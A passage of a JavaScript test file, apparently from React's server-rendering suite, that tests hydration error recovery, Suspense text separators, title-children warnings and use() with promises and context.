await waitForAll([\n      'throwing: first error',\n\n      // onRecoverableError because the UI recovered without surfacing the\n      // error to the user.\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: first error',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n\n    await waitForAll([]);\n  });\n\n  it('does not log for errors after a preceding fiber suspends', async () => {\n    let isClient = false;\n    let promise = null;\n    let unsuspend = null;\n    let isResolved = false;\n\n    function ComponentThatSuspendsOnClient() {\n      if (isClient && !isResolved) {\n        if (promise === null) {\n          promise = new Promise(resolve => {\n            unsuspend = () => {\n              isResolved = true;\n              resolve();\n            };\n          });\n        }\n        Scheduler.log('suspending');\n        throw promise;\n      }\n      return null;\n    }\n\n    function ThrowWhenHydrating({children, message}) {\n      // This is a trick to only throw if we're hydrating, because\n      // useSyncExternalStore calls getServerSnapshot instead of the regular\n      // getSnapshot in that case.\n      useSyncExternalStore(\n        () => {},\n        t => t,\n        () => {\n          if (isClient) {\n            Scheduler.log('throwing: ' + message);\n            throw new Error(message);\n          }\n        },\n      );\n      return children;\n    }\n\n    const App = () => {\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <ComponentThatSuspendsOnClient />\n            <ThrowWhenHydrating message=\"first error\">\n              <h1>one</h1>\n            </ThrowWhenHydrating>\n            <ThrowWhenHydrating message=\"second error\">\n              <h2>two</h2>\n            </ThrowWhenHydrating>\n            <ThrowWhenHydrating message=\"third error\">\n              <h3>three</h3>\n            </ThrowWhenHydrating>\n          </Suspense>\n        </div>\n      );\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n\n    isClient = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['suspending']);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n    await unsuspend();\n    await waitForAll([\n      'throwing: first error',\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: first error',\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n  });\n\n  it('(outdated behavior) suspending after erroring will cause errors previously queued to be silenced until the boundary resolves', async () => {\n    // NOTE: This test was originally written to test a scenario that doesn't happen\n    // anymore. If something errors during hydration, we immediately unwind the\n    // stack and revert to client rendering. I've kept the test around just to\n    // demonstrate what actually happens in this sequence of events.\n\n    let isClient = false;\n    let promise = null;\n    let unsuspend = null;\n    let isResolved = false;\n\n    function ComponentThatSuspendsOnClient() {\n      if (isClient && !isResolved) {\n        if (promise === null) {\n          promise = new Promise(resolve => {\n            unsuspend = () => {\n              isResolved = true;\n              resolve();\n            };\n          });\n        }\n        Scheduler.log('suspending');\n        throw promise;\n      }\n      return null;\n    }\n\n    function ThrowWhenHydrating({children, message}) {\n      // This is a trick to only throw if we're hydrating, because\n      // useSyncExternalStore calls getServerSnapshot instead of the regular\n      // getSnapshot in that case.\n      useSyncExternalStore(\n        () => {},\n        t => t,\n        () => {\n          if (isClient) {\n            Scheduler.log('throwing: ' + message);\n            throw new Error(message);\n          }\n        },\n      );\n      return children;\n    }\n\n    const App = () => {\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <ThrowWhenHydrating message=\"first error\">\n              <h1>one</h1>\n            </ThrowWhenHydrating>\n            <ThrowWhenHydrating message=\"second error\">\n              <h2>two</h2>\n            </ThrowWhenHydrating>\n            <ComponentThatSuspendsOnClient />\n            <ThrowWhenHydrating message=\"third error\">\n              <h3>three</h3>\n            </ThrowWhenHydrating>\n          </Suspense>\n        </div>\n      );\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n\n    isClient = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'throwing: first error',\n      'suspending',\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: first error',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>Loading...</h1>\n      </div>,\n    );\n    await clientAct(() => unsuspend());\n    // Since our client components only throw on the very first render there are no\n    // new throws in this pass\n    assertLog([]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>one</h1>\n        <h2>two</h2>\n        <h3>three</h3>\n      </div>,\n    );\n  });\n\n  it('#24578 Hydration errors caused by a suspending component should not become recoverable when nested in an ancestor Suspense that is showing primary content', async () => {\n    // this test failed before because hydration errors on the inner boundary were upgraded to recoverable by\n    // a codepath of the outer boundary\n    function App({isClient}) {\n      return (\n        <Suspense fallback={'outer'}>\n          <Suspense fallback={'inner'}>\n            <div>\n              {isClient ? <AsyncText text=\"A\" /> : <Text text=\"A\" />}\n              <b>B</b>\n            </div>\n          </Suspense>\n        </Suspense>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        errors.push(error.message);\n      },\n    });\n\n    await waitForAll([]);\n    expect(errors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        A<b>B</b>\n      </div>,\n    );\n\n    resolveText('A');\n    await waitForAll([]);\n    expect(errors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        A<b>B</b>\n      </div>,\n    );\n  });\n\n  it('hydration warnings for mismatched text with multiple text nodes caused by suspending should be suppressed', async () => {\n    let resolve;\n    const Lazy = React.lazy(() => {\n      return new Promise(r => {\n        resolve = r;\n      });\n    });\n\n    function App({isClient}) {\n      return (\n        <div>\n          {isClient ? <Lazy /> : <p>lazy</p>}\n          <p>some {'text'}</p>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        errors.push(error.message);\n      },\n    });\n\n    await waitForAll([]);\n    expect(errors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>lazy</p>\n        <p>some {'text'}</p>\n      </div>,\n    );\n\n    resolve({default: () => <p>lazy</p>});\n    await waitForAll([]);\n    expect(errors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>lazy</p>\n        <p>some {'text'}</p>\n      </div>,\n    );\n  });\n\n  it('can emit the preamble even if the head renders asynchronously', async () => {\n    function AsyncNoOutput() {\n      readText('nooutput');\n      return null;\n    }\n    function AsyncHead() {\n      readText('head');\n      return (\n        <head data-foo=\"foo\">\n          <title>a title</title>\n        </head>\n      );\n    }\n    function AsyncBody() {\n      readText('body');\n      return (\n        <body data-bar=\"bar\">\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n          hello\n        </body>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html data-html=\"html\">\n          <AsyncNoOutput />\n          <AsyncHead />\n          <AsyncBody />\n        </html>,\n      );\n      pipe(writable);\n    });\n    await act(() => {\n      resolveText('body');\n    });\n    await act(() => {\n      resolveText('nooutput');\n    });\n    await act(() => {\n      resolveText('head');\n    });\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-html=\"html\">\n        <head data-foo=\"foo\">\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n          <title>a title</title>\n        </head>\n        <body data-bar=\"bar\">hello</body>\n      </html>,\n    );\n  });\n\n  it('holds back body and html closing tags (the postamble) until all pending tasks are completed', async () => {\n    const chunks = [];\n    writable.on('data', chunk => {\n      chunks.push(chunk);\n    });\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            first\n            <Suspense>\n              <AsyncText text=\"second\" />\n            </Suspense>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>{'first'}</body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('second');\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          {'first'}\n          {'second'}\n        </body>\n      </html>,\n    );\n\n    expect(chunks.pop()).toEqual('</body></html>');\n  });\n\n  describe('text separators', () => {\n    // To force performWork to start before resolving AsyncText but before piping we need to wait until\n    // after scheduleWork which currently uses setImmediate to delay performWork\n    function afterImmediate() {\n      return new Promise(resolve => {\n        setImmediate(resolve);\n      });\n    }\n\n    it('only includes separators between adjacent text nodes', async () => {\n      function App({name}) {\n        return (\n          <div>\n            hello<b>world, {name}</b>!\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App name=\"Foo\" />);\n        pipe(writable);\n      });\n\n      expect(container.innerHTML).toEqual(\n        (gate(flags => flags.shouldUseFizzExternalRuntime)\n          ? '<script src=\"react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js\" async=\"\"></script>'\n          : '') + '<div>hello<b>world, <!-- -->Foo</b>!</div>',\n      );\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App name=\"Foo\" />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          hello<b>world, {'Foo'}</b>!\n        </div>,\n      );\n    });\n\n    it('does not insert text separators even when adjacent text is in a delayed segment', async () => {\n      function App({name}) {\n        return (\n          <div>\n            <Suspense fallback={'loading...'}>\n              <div id=\"app-div\">\n                hello\n                <b>\n                  world, <AsyncText text={name} />\n                </b>\n                !\n              </div>\n            </Suspense>\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App name=\"Foo\" />);\n        pipe(writable);\n      });\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">hello<b>world, <template id=\"P:1\"></template></b>!</div>',\n      );\n\n      await act(() => resolveText('Foo'));\n\n      const div = stripExternalRuntimeInNodes(\n        container.children,\n        renderOptions.unstable_externalRuntimeSrc,\n      )[0].children[0];\n      expect(div.outerHTML).toEqual(\n        '<div id=\"app-div\">hello<b>world, Foo</b>!</div>',\n      );\n\n      expect(div.childNodes.length).toBe(3);\n      const b = div.childNodes[1];\n      expect(b.childNodes.length).toBe(2);\n      expect(b.childNodes[0]).toMatchInlineSnapshot('world, ');\n      expect(b.childNodes[1]).toMatchInlineSnapshot('Foo');\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App name=\"Foo\" />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <div id=\"app-div\">\n            hello<b>world, {'Foo'}</b>!\n          </div>\n        </div>,\n      );\n    });\n\n    it('works with multiple adjacent segments', async () => {\n      function App() {\n        return (\n          <div>\n            <Suspense fallback={'loading...'}>\n              <div id=\"app-div\">\n                h<AsyncText text={'ello'} />\n                w<AsyncText text={'orld'} />\n              </div>\n            </Suspense>\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">h<template id=\"P:1\"></template>w<template id=\"P:2\"></template></div>',\n      );\n\n      await act(() => resolveText('orld'));\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">h<template id=\"P:1\"></template>world</div>',\n      );\n\n      await act(() => resolveText('ello'));\n      expect(\n        stripExternalRuntimeInNodes(\n          container.children,\n          renderOptions.unstable_externalRuntimeSrc,\n        )[0].children[0].outerHTML,\n      ).toEqual('<div id=\"app-div\">helloworld</div>');\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App name=\"Foo\" />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <div id=\"app-div\">{['h', 'ello', 'w', 'orld']}</div>\n        </div>,\n      );\n    });\n\n    it('works when some segments are flushed and others are patched', async () => {\n      function App() {\n        return (\n          <div>\n            <Suspense fallback={'loading...'}>\n              <div id=\"app-div\">\n                h<AsyncText text={'ello'} />\n                w<AsyncText text={'orld'} />\n              </div>\n            </Suspense>\n          </div>\n        );\n      }\n\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(<App />);\n        await afterImmediate();\n        await act(() => resolveText('ello'));\n        pipe(writable);\n      });\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">h<!-- -->ello<!-- -->w<template id=\"P:1\"></template></div>',\n      );\n\n      await act(() => resolveText('orld'));\n\n      expect(\n        stripExternalRuntimeInNodes(\n          container.children,\n          renderOptions.unstable_externalRuntimeSrc,\n        )[0].children[0].outerHTML,\n      ).toEqual('<div id=\"app-div\">h<!-- -->ello<!-- -->world</div>');\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <div id=\"app-div\">{['h', 'ello', 'w', 'orld']}</div>\n        </div>,\n      );\n    });\n\n    it('does not prepend a text separators if the segment follows a non-Text Node', async () => {\n      function App() {\n        return (\n          <Suspense fallback={'loading...'}>\n            <div>\n              hello\n              <b>\n                <AsyncText text={'world'} />\n              </b>\n            </div>\n          </Suspense>\n        );\n      }\n\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(<App />);\n        await afterImmediate();\n        await act(() => resolveText('world'));\n        pipe(writable);\n      });\n\n      expect(container.lastElementChild.outerHTML).toEqual(\n        '<div>hello<b>world<!-- --></b></div>',\n      );\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          hello<b>world</b>\n        </div>,\n      );\n    });\n\n    it('does not prepend a text separators if the segments first emission is a non-Text Node', async () => {\n      function App() {\n        return (\n          <Suspense fallback={'loading...'}>\n            <div>\n              hello\n              <AsyncTextWrapped as={'b'} text={'world'} />\n            </div>\n          </Suspense>\n        );\n      }\n\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(<App />);\n        await afterImmediate();\n        await act(() => resolveText('world'));\n        pipe(writable);\n      });\n\n      expect(container.lastElementChild.outerHTML).toEqual(\n        '<div>hello<b>world</b></div>',\n      );\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          hello<b>world</b>\n        </div>,\n      );\n    });\n\n    it('should not insert separators for text inside Suspense boundaries even if they would otherwise be considered text-embedded', async () => {\n      function App() {\n        return (\n          <Suspense fallback={'loading...'}>\n            <div id=\"app-div\">\n              start\n              <Suspense fallback={'[loading first]'}>\n                firststart\n                <AsyncText text={'first suspended'} />\n                firstend\n              </Suspense>\n              <Suspense fallback={'[loading second]'}>\n                secondstart\n                <b>\n                  <AsyncText text={'second suspended'} />\n                </b>\n              </Suspense>\n              end\n            </div>\n          </Suspense>\n        );\n      }\n\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(<App />);\n        await afterImmediate();\n        await act(() => resolveText('world'));\n        pipe(writable);\n      });\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">start<!--$?--><template id=\"B:0\"></template>[loading first]<!--/$--><!--$?--><template id=\"B:1\"></template>[loading second]<!--/$-->end</div>',\n      );\n\n      await act(() => {\n        resolveText('first suspended');\n      });\n\n      expect(document.getElementById('app-div').outerHTML).toEqual(\n        '<div id=\"app-div\">start<!--$-->firststartfirst suspendedfirstend<!--/$--><!--$?--><template id=\"B:1\"></template>[loading second]<!--/$-->end</div>',\n      );\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div id=\"app-div\">\n          {'start'}\n          {'firststart'}\n          {'first suspended'}\n          {'firstend'}\n          {'[loading second]'}\n          {'end'}\n        </div>,\n      );\n\n      await act(() => {\n        resolveText('second suspended');\n      });\n\n      expect(\n        stripExternalRuntimeInNodes(\n          container.children,\n          renderOptions.unstable_externalRuntimeSrc,\n        )[0].outerHTML,\n      ).toEqual(\n        '<div id=\"app-div\">start<!--$-->firststartfirst suspendedfirstend<!--/$--><!--$-->secondstart<b>second suspended</b><!--/$-->end</div>',\n      );\n\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div id=\"app-div\">\n          {'start'}\n          {'firststart'}\n          {'first suspended'}\n          {'firstend'}\n          {'secondstart'}\n          <b>second suspended</b>\n          {'end'}\n        </div>,\n      );\n    });\n\n    it('(only) includes extraneous text separators in segments that complete before flushing, followed by nothing or a non-Text node', async () => {\n      function App() {\n        return (\n          <div>\n            <Suspense fallback={'text before, nothing after...'}>\n              hello\n              <AsyncText text=\"world\" />\n            </Suspense>\n            <Suspense fallback={'nothing before or after...'}>\n              <AsyncText text=\"world\" />\n            </Suspense>\n            <Suspense fallback={'text before, element after...'}>\n              hello\n              <AsyncText text=\"world\" />\n              <br />\n            </Suspense>\n            <Suspense fallback={'nothing before, element after...'}>\n              <AsyncText text=\"world\" />\n              <br />\n            </Suspense>\n          </div>\n        );\n      }\n\n      await act(async () => {\n        const {pipe} = renderToPipeableStream(<App />);\n        await afterImmediate();\n        await act(() => resolveText('world'));\n        pipe(writable);\n      });\n\n      expect(container.innerHTML).toEqual(\n        (gate(flags => flags.shouldUseFizzExternalRuntime)\n          ? '<script src=\"react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js\" async=\"\"></script>'\n          : '') +\n          '<div><!--$-->hello<!-- -->world<!-- --><!--/$--><!--$-->world<!-- --><!--/$--><!--$-->hello<!-- -->world<!-- --><br><!--/$--><!--$-->world<!-- --><br><!--/$--></div>',\n      );\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          {/* first boundary */}\n          {'hello'}\n          {'world'}\n          {/* second boundary */}\n          {'world'}\n          {/* third boundary */}\n          {'hello'}\n          {'world'}\n          <br />\n          {/* fourth boundary */}\n          {'world'}\n          <br />\n        </div>,\n      );\n    });\n  });\n\n  describe('title children', () => {\n    it('should accept a single string child', async () => {\n      // a Single string child\n      function App() {\n        return (\n          <head>\n            <title>hello</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(document.head)).toEqual(<title>hello</title>);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(document.head)).toEqual(<title>hello</title>);\n    });\n\n    it('should accept a single number child', async () => {\n      // a Single number child\n      function App() {\n        return (\n          <head>\n            <title>4</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(document.head)).toEqual(<title>4</title>);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(document.head)).toEqual(<title>4</title>);\n    });\n\n    it('should accept a single bigint child', async () => {\n      // a Single number child\n      function App() {\n        return (\n          <head>\n            <title>5n</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(document.head)).toEqual(<title>5n</title>);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(document.head)).toEqual(<title>5n</title>);\n    });\n\n    it('should accept children array of length 1 containing a string', async () => {\n      // a Single string child\n      function App() {\n        return (\n          <head>\n            <title>{['hello']}</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(document.head)).toEqual(<title>hello</title>);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      expect(getVisibleChildren(document.head)).toEqual(<title>hello</title>);\n    });\n\n    it('should warn in dev when given an array of length 2 or more', async () => {\n      function App() {\n        return (\n          <head>\n            <title>{['hello1', 'hello2']}</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +\n          'or object with a novel `toString` method but found an Array with length 2 instead. ' +\n          'Browsers treat all child Nodes of <title> tags as Text content and React expects ' +\n          'to be able to convert `children` of <title> tags to a single string value which is why ' +\n          'Arrays of length greater than 1 are not supported. ' +\n          'When using JSX it can be common to combine text nodes and value nodes. ' +\n          'For example: <title>hello {nameOfUser}</title>. ' +\n          'While not immediately apparent, `children` in this case is an Array with length 2. ' +\n          'If your `children` prop is using this form try rewriting it using a template string: ' +\n          '<title>{`hello ${nameOfUser}`}</title>.\\n' +\n          '    in title (at **)\\n' +\n          '    in App (at **)',\n      ]);\n\n      expect(getVisibleChildren(document.head)).toEqual(<title />);\n      const errors = [];\n      ReactDOMClient.hydrateRoot(document.head, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      // with float, the title doesn't render on the client or on the server\n      expect(getVisibleChildren(document.head)).toEqual(<title />);\n    });\n\n    it('should warn in dev if you pass a React Component as a child to <title>', async () => {\n      function IndirectTitle() {\n        return 'hello';\n      }\n\n      function App() {\n        return (\n          <head>\n            <title>\n              <IndirectTitle />\n            </title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +\n          'or object with a novel `toString` method but found an object that appears to be a ' +\n          'React element which never implements a suitable `toString` method. ' +\n          'Browsers treat all child Nodes of <title> tags as Text content and React expects ' +\n          'to be able to convert children of <title> tags to a single string value which is ' +\n          'why rendering React elements is not supported. If the `children` of <title> is a ' +\n          'React Component try moving the <title> tag into that component. ' +\n          'If the `children` of <title> is some HTML markup change it to be Text only to be valid HTML.\\n' +\n          '    in title (at **)\\n' +\n          '    in App (at **)',\n      ]);\n      // object titles are toStringed when float is on\n      expect(getVisibleChildren(document.head)).toEqual(\n        <title>{'[object Object]'}</title>,\n      );\n      const errors = [];\n      ReactDOMClient.hydrateRoot(document.head, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      // object titles are toStringed when float is on\n      expect(getVisibleChildren(document.head)).toEqual(\n        <title>{'[object Object]'}</title>,\n      );\n    });\n\n    it('should warn in dev if you pass an object that does not implement toString as a child to <title>', async () => {\n      function App() {\n        return (\n          <head>\n            <title>{{}}</title>\n          </head>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +\n          'or object with a novel `toString` method but found an object that does not implement a ' +\n          'suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text ' +\n          'content and React expects to be able to convert children of <title> tags to a single string value. ' +\n          'Using the default `toString` method available on every object is almost certainly an error. ' +\n          'Consider whether the `children` of this <title> is an object in error and change it to a ' +\n          'string or number value if so. Otherwise implement a `toString` method that React can ' +\n          'use to produce a valid <title>.\\n' +\n          '    in title (at **)\\n' +\n          '    in App (at **)',\n      ]);\n      // object titles are toStringed when float is on\n      expect(getVisibleChildren(document.head)).toEqual(\n        <title>{'[object Object]'}</title>,\n      );\n      const errors = [];\n      ReactDOMClient.hydrateRoot(document.head, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n      await waitForAll([]);\n      expect(errors).toEqual([]);\n      // object titles are toStringed when float is on\n      expect(getVisibleChildren(document.head)).toEqual(\n        <title>{'[object Object]'}</title>,\n      );\n    });\n  });\n\n  it('basic use(promise)', async () => {\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.resolve('B');\n    const promiseC = Promise.resolve('C');\n\n    function Async() {\n      return use(promiseA) + use(promiseB) + use(promiseC);\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Async />\n        </Suspense>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    // TODO: The `act` implementation in this file doesn't unwrap microtasks\n    // automatically. We can't use the same `act` we use for Fiber tests\n    // because that relies on the mock Scheduler. Doesn't affect any public\n    // API but we might want to fix this for our own internal tests.\n    //\n    // For now, wait for each promise in sequence.\n    await act(async () => {\n      await promiseA;\n    });\n    await act(async () => {\n      await promiseB;\n    });\n    await act(async () => {\n      await promiseC;\n    });\n\n    expect(getVisibleChildren(container)).toEqual('ABC');\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual('ABC');\n  });\n\n  it('basic use(context)', async () => {\n    const ContextA = React.createContext('default');\n    const ContextB = React.createContext('B');\n    function Client() {\n      return use(ContextA) + use(ContextB);\n    }\n    function App() {\n      return (\n        <>\n          <ContextA.Provider value=\"A\">\n            <Client />\n          </ContextA.Provider>\n        </>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual('AB');\n\n    // Hydration uses a different renderer runtime (Fiber instead of Fizz).\n    // We reset _currentRenderer here to not trigger a warning about multiple\n    // renderers concurrently using these contexts\n    ContextA._currentRenderer = null;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual('AB');\n  });\n\n  it('use(promise) in multiple components', async () => {\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.resolve('B');\n    const promiseC = Promise.resolve('C');\n    const promiseD = Promise.resolve('D');\n\n    function Child({prefix}) {\n      return prefix + use(promiseC) + use(promiseD);\n    }\n\n    function Parent() {\n      return <Child prefix={use(promiseA) + use(promiseB)} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Parent />\n        </Suspense>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    // TODO: The `act` implementation in this file doesn't unwrap microtasks\n    // automatically. We can't use the same `act` we use for Fiber tests\n    // because that relies on the mock Scheduler. Doesn't affect any public\n    // API but we might want to fix this for our own internal tests.\n    //\n    // For now, wait for each promise in sequence.\n    await act(async () => {\n      await promiseA;\n    });\n    await act(async () => {\n      await promiseB;\n    });\n    await act(async () => {\n      await promiseC;\n    });\n    await act(async () => {\n      await promiseD;\n    });\n\n    expect(getVisibleChildren(container)).toEqual('ABCD');\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual('ABCD');\n  });\n\n  it('using a rejected promise will throw', async () => {\n    const promiseA = Promise.resolve('A');\n    const promiseB = Promise.reject(new Error('Oops!'));\n    const promiseC = 